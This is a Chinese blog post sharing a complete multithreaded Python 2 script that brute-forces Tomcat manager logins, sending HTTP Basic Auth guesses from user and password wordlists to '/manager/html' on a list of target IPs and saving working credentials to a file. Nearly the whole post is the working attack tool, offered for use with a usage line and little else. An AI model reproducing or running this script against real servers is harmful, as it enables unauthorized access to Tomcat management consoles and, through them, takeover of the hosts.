python 高并发 tomcat_PYTHON版本的TOMCAT暴破工具

2014-4-23 10:55:00

阅读(3191)

评论(0)

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Functions: Idenfy tomcat password

# Code By BlAck.Eagle

import threading, time, random, sys, urllib2, httplib, base64

from copy import copy

import re

from collections import defaultdict, deque

class Tomcatbrute(threading.Thread):

def __init__(self,server,port,path,user,password):

threading.Thread.__init__(self)

self.host = str(server)

self.port = str(port)

self.path = str(path)

self.user = str(user)

self.password = str(password)

self.userAgent = "Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0"

def writeresult(self,record):

fp = open('Result.html','a+')

fp.writelines(record+'')

fp.close()

def run(self):

#union = self.user+':'+self.password

auth = base64.b64encode('%s:%s' % (self.user, self.password)).replace('\n', '')

#flag = Verificate.HttpRequest().verificate(self.host,self.port,self.path)

#if (flag):

#print 'This is a Tomcat!'

#print base64.b64encode(union)

print self.getName(), "-- created."

try:

h = httplib.HTTP(self.host,self.port)

h.putrequest('GET', self.path)

h.putheader('Host', self.host+':'+self.port)

h.putheader('User-agent', self.userAgent)

h.putheader('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')

h.putheader('Accept-Language','en-us')

h.putheader('Accept-Encoding','gzip, deflate')

#h.putheader('Authorization', 'Basic %s' % base64.b64encode(union))

h.putheader('Authorization', 'Basic %s' %auth)

#print auth

h.endheaders()

statuscode, statusmessage, headers = h.getreply()

#print "Response: ", statuscode, statusmessage

#print "Headers: ", headers

#print data

#print headers['Authorization']

#print response.read()

#print response.status

#print statuscode

print headers['Server']

if (re.findall(r'Coyote',headers['Server'])):

if statuscode==200:

print headers['Server']

print "\t\n[OK]Username:",self.user,"Password:",self.password,"\n"

self.writeresult(self.host+":"+self.user+":"+self.password+"\n")

else:

print "\t\nThis is not Tomcat\n"

else:

pass

#print "\t\n[X]Wrong username or password!\n"

except :

#print "An error occurred:", msg

pass

def timer():

now = time.localtime(time.time())

return time.asctime(now)

if __name__ == '__main__':

if len(sys.argv) !=5:

print "\nUsage: ./TomcatBrute.py \n"

print "ex: python TomcatBrute.py ip.txt 8080 users.txt wordlist.txt\n"

sys.exit(1)

try:

users = open(sys.argv[3], "r").readlines()

except(IOError):

print "Error: Check your userlist path\n"

sys.exit(1)

try:

words = open(sys.argv[4], "r").readlines()

except(IOError):

print "Error: Check your wordlist path\n"

sys.exit(1)

try:

port = sys.argv[2]

except(IOError):

print "Error: Check your port\n"

path = '/manager/html'

WEAK_USERNAME = [p.replace('\n','') for p in users]

WEAK_PASSWORD = [p.replace('\n','') for p in words]

#WEAK_USERNAME = ['tomcat','user']

#WEAK_PASSWORD = ['tomcat','user']

accounts =deque() #list数组

for username in WEAK_USERNAME:

for password in WEAK_PASSWORD:

accounts.append((username,password))

#print len(accounts)

#server = sys.argv[1]

host_open = open(sys.argv[1], 'r')

ip = [p.replace('\n','') for p in host_open]

for server in ip:

print "[+] Server:",server

print "[+] Port:",port

print "[+] Users Loaded:",len(WEAK_USERNAME)

print "[+] Words Loaded:",len(WEAK_PASSWORD)

print "[+] Started",timer(),"\n"

for I in range(len(accounts)):

work = Tomcatbrute(server,port,path,accounts[I][0],accounts[I][1])

work.setDaemon(1)

work.start()

time.sleep(0.1)

print "\n[-] Done -",timer(),"\n"

发表评论

您还没有登录,请[登录]或[注册]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值